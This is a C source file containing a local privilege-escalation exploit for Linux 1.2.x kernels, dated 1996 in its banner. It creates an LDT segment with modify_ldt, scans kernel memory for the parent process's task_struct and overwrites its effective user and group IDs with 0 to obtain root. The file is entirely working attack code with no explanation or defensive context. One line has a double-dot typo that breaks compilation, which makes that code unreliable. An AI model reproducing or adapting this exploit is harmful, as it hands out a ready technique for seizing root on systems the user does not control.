/*  Exploit for 1.2.X kernels  */
#include <setjmp.h>
#include <linux/ldt.h>
#include <stdio.h>
#include <linux/unistd.h>
#include <signal.h>

#define __KERNEL__
#include <linux/sched.h>

_syscall3(int, modify_ldt, int, func, void *, ptr, unsigned long, bytecount)

#define KERNEL_BASE 0xC0000000
#define PAGE_STEP   0x1000

/* -------------------------------------------------------------------- */
static __inline__ unsigned char
__farpeek (int seg, unsigned ofs)
{
  unsigned char res;
  asm ("mov %w1,%%gs ; gs; movb (%2),%%al"
       : "=a" (res)
       : "r" (seg), "r" (ofs));
  return res;
}
/* -------------------------------------------------------------------- */
static __inline__ void
__farpoke (int seg, unsigned ofs, unsigned char b)
{
  asm ("mov %w0,%%gs ; gs; movb %b2,(%1)"
       : /* No results.  */
       : "r" (seg), "r" (ofs), "r" (b));
}
/* -------------------------------------------------------------------- */

sigjmp_buf memgetjmp;

void
memchkseg (int seg, const void *src )
{
  if ( sigsetjmp ( memgetjmp, 1 ) == 0 ) {
    __farpeek (seg, (unsigned)(src));
  }
}
/* -------------------------------------------------------------------- */
void
memgetseg (void *dst, int seg, const void *src, int size)
{
    while (size-- > 0)
      *(char *)dst++ = __farpeek (seg, (unsigned)(src++));
}
/* -------------------------------------------------------------------- */
void
memputseg (int seg, void *dst, const void *src, int size)
{
  while (size-- > 0)
    __farpoke (seg, (unsigned)(dst++), *(char *)src++);
}
/* -------------------------------------------------------------------- */

#define KERNEL_DATA_SEGMENT 7

/* SEGV handling for kernel data segmnet boundary check */

static int iSEGV = 1;

void SEGVHandler ( int iSignal ) {
  iSEGV = 1;
  siglongjmp ( memgetjmp, 1 );
}

void FillTaskStruct ( char *pcTaskStruct, long lAddress ) {
  int iCounter = sizeof ( struct task_struct );

  while ( iCounter-- > 0 ) {
    *pcTaskStruct++ = __farpeek ( KERNEL_DATA_SEGMENT, lAddress++ );
  }
}

static int iMyPPID;
static int iMyUID;
static int iMyGID;

int CheckTaskStruct ( struct task_struct *sTaskStruct ) {
  if ( sTaskStruct->pid  == iMyPPID &&
       sTaskStruct->euid == iMyUID &&
       sTaskStruct->egid == iMyGID ) {
    return ( 1 );
  } else {
    return ( 0 );
  }
}

int main ( int argc, char **argv ) {

  char                     cMessage[39]  = "PMCsExploit! (c) 1996. pmc@asgard.hr\n";
  struct modify_ldt_ldt_s  sLDTEntry;
  struct sigaction         sSEGVAction;
  long                     lStartAddress = KERNEL_BASE;
  long                     lCheckAddress = 0x00000000;
  long                     lAreaStart    = 0x00000000;
  long                     lAreaEnd      = 0x00000000;
  long                     lAreaLength   = 0x00000000;
  long                     lTaskAddress  = 0x00000000;
  int                      iRunning      = 1;
  char                     cOneChar      = '\0';
  struct task_struct       sTaskStruct;

  iMyPPID = getppid ();
  iMyUID  = getuid ();
  iMyGID  = getgid ();
  printf ( cMessage );
  printf ( "First let's see if this little joke could be done ?\n" );
   sLDTEntry.entry_number    = 0;
  sLDTEntry.base_addr       = 0x00000000;
  sLDTEntry.limit           = 1;
  sLDTEntry.seg_32bit       = 1;
  sLDTEntry..contents        = MODIFY_LDT_CONTENTS_STACK;
  sLDTEntry.read_exec_only  = 0;
  sLDTEntry.limit_in_pages  = 0;
  sLDTEntry.seg_not_present = 0;
  if ( modify_ldt ( 1, &sLDTEntry, sizeof ( sLDTEntry ) ) ) {
    printf ( ":(\n" );
    return ( -1 );
  }
  sSEGVAction.sa_handler = SEGVHandler;
  sSEGVAction.sa_flags   = SA_RESTART;
  sigemptyset ( &sSEGVAction.sa_mask );
  lCheckAddress = lStartAddress + PAGE_STEP;
  while ( lCheckAddress != lStartAddress ) {
    iSEGV = 0;
    sigaction ( SIGSEGV, &sSEGVAction, NULL );
    memchkseg ( KERNEL_DATA_SEGMENT, ( void *) lCheckAddress );
    if ( iSEGV ) {
      iSEGV = 1;
      while ( iSEGV ) {
        iSEGV = 0;
        sigaction ( SIGSEGV, &sSEGVAction, NULL );
        memchkseg ( KERNEL_DATA_SEGMENT, (void *) lCheckAddress );
        lCheckAddress += PAGE_STEP;
      }
    } else {
      lCheckAddress += PAGE_STEP;
    }
    lAreaStart = lCheckAddress - PAGE_STEP;
    while ( ! iSEGV ) {
      memchkseg ( KERNEL_DATA_SEGMENT, (void *) lCheckAddress );
      lCheckAddress += PAGE_STEP;
    }
    lAreaEnd = lCheckAddress - PAGE_STEP;
    lAreaLength = lAreaEnd - lAreaStart;
    if ( lAreaLength < sizeof ( struct task_struct ) ) {
    } else {
      lTaskAddress = lAreaStart;
      while ( lTaskAddress + sizeof ( struct task_struct ) < lAreaEnd ) {
        FillTaskStruct ( (char *) &sTaskStruct, lTaskAddress );
        if ( CheckTaskStruct ( &sTaskStruct ) ) {
          sTaskStruct.euid = 0;
          sTaskStruct.egid = 0;
          memputseg ( KERNEL_DATA_SEGMENT, (void *) lTaskAddress, (void *) &sTaskStruct, sizeof ( sTaskStruct ) );
          printf ( ":)\n" );
          exit ( 0 );
        }
        lTaskAddress += PAGE_STEP;
      }
    }
  }
  printf ( ":(\n" );
  exit ( -1 );
}


